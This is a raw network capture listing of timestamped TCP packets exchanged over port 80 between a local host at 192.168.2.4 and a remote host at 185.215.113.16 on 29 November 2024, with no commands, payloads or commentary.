Nov 29, 2024 20:07:41.286135912 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.286688089 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.286725998 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.286784887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.286824942 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.287412882 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.287461996 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.287507057 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.287549973 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.288126945 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.288166046 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.288224936 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.288269043 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.288824081 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.288892031 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.288942099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.288975954 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.289565086 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.289597034 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.289657116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.289699078 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.290306091 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.290349960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.290416002 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.290467978 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.291021109 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.291066885 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.291253090 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.291302919 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.291723967 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.291764021 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.291831970 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.291867971 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.292431116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.292490959 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.292537928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.292617083 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.293140888 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.293220043 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.293304920 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.293349981 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.293879986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.293952942 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.293994904 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.294039965 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.294631958 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.294677019 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.294732094 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.294775009 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.295355082 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.295397997 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.295475960 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.295510054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.296061993 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.296108007 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.296120882 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.296160936 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.296776056 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.296829939 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.296901941 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.296948910 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.297517061 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.297568083 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.297594070 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.297636986 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.298233986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.298310041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.298320055 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.298388958 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.298974037 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.299022913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.299097061 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.299160004 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.299695969 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.299747944 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.299787998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.299829960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.300380945 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.300419092 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.300448895 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.300481081 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.301135063 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.301178932 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.301179886 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.301217079 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.301805019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.301841021 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.301914930 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.301954985 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.302545071 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.302582979 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.302630901 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.302678108 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.303270102 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.303309917 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.303474903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.303514004 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.304013014 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.304053068 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.304121017 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.304162025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.304708958 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.304761887 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.304863930 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.304898024 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.305448055 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.305489063 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.305557013 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.305594921 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.306193113 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.306241035 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.306257010 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.306307077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.306883097 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.306967974 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.306988955 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.307080030 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.307583094 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.307673931 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.307682991 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.307780981 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.308305979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.308410883 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.308442116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.308530092 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.309046030 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.309138060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.309185028 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.309279919 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.309776068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.309864998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.309926987 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.309926987 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.310508013 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.310553074 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.310700893 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.310821056 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.311213017 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.311319113 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.311331987 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.311393023 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.311923027 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.311971903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.312000036 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.312071085 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.312659979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.312752008 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.312752962 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.312864065 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.313383102 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.313543081 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.313554049 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.313608885 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.314107895 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.314197063 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.314202070 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.314287901 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.314821005 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.314887047 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.314958096 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.315537930 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.315639973 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.315660000 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.316247940 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.316349030 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.316373110 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.316536903 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.316975117 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.317078114 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.317096949 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.317192078 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.317718983 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.317807913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.317811012 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.317867994 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.318409920 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.318569899 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.318571091 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.318666935 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.319282055 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.319361925 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.319371939 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.319489956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.319924116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.319935083 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.320023060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.476538897 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.476603985 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.476883888 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.476896048 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.476938963 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.476950884 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.476986885 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.477010965 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.477442026 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.477669001 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.477731943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.477788925 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.477840900 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.478374958 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.478439093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.480578899 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.480632067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.480732918 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.480895042 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.481044054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.481079102 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.481187105 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.481209993 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.481343031 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.481806040 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.481888056 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.481970072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.482142925 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.482551098 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.482646942 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.482788086 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.483261108 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.483319998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.483403921 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.483975887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.484051943 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.484055042 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.484107971 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.484708071 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.484798908 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.484811068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.484895945 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.485404968 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.485485077 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.485547066 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.485547066 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.486148119 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.486228943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.486262083 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.486326933 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.486870050 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.486973047 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.486980915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.487036943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.487551928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.487637997 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.487673044 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.487770081 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.488327980 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.488490105 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.488507986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.488598108 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.489069939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.489173889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.489201069 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.489280939 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.489881039 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.489964962 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.489985943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.490159988 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.490457058 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.490514040 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.490544081 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.490611076 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.491173983 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.491321087 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.491358042 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.491524935 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.492153883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.492253065 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.492280960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.492347956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.492616892 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.492744923 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.492805004 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.492805958 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.493351936 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.493429899 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.493474007 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.493566036 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.494110107 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.494210958 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.494252920 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.494297028 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.494860888 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.494972944 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.495071888 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.495526075 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.495630980 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.495949984 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.496108055 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.496293068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.496377945 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.496438026 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.496438026 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.496947050 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.497008085 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.497029066 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.497073889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.497672081 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.497766972 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.497782946 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.497875929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.498430967 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.498531103 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.498624086 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.499277115 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.499375105 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.499531984 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.499643087 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.500070095 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.500163078 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.500221968 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.500327110 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.500644922 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.500843048 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.500947952 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.501465082 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.501589060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.501601934 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.501652956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.502160072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.502295971 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.502386093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.502957106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.503062963 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.503074884 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.503262997 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.503667116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.503756046 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.503825903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.504019022 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.504348040 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.504436016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.504465103 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.504502058 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.504965067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.505059958 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.505091906 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.505166054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.505635977 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.505724907 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.505757093 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.505846024 CET	50071	80	192.168.2.4	185.215.113.16
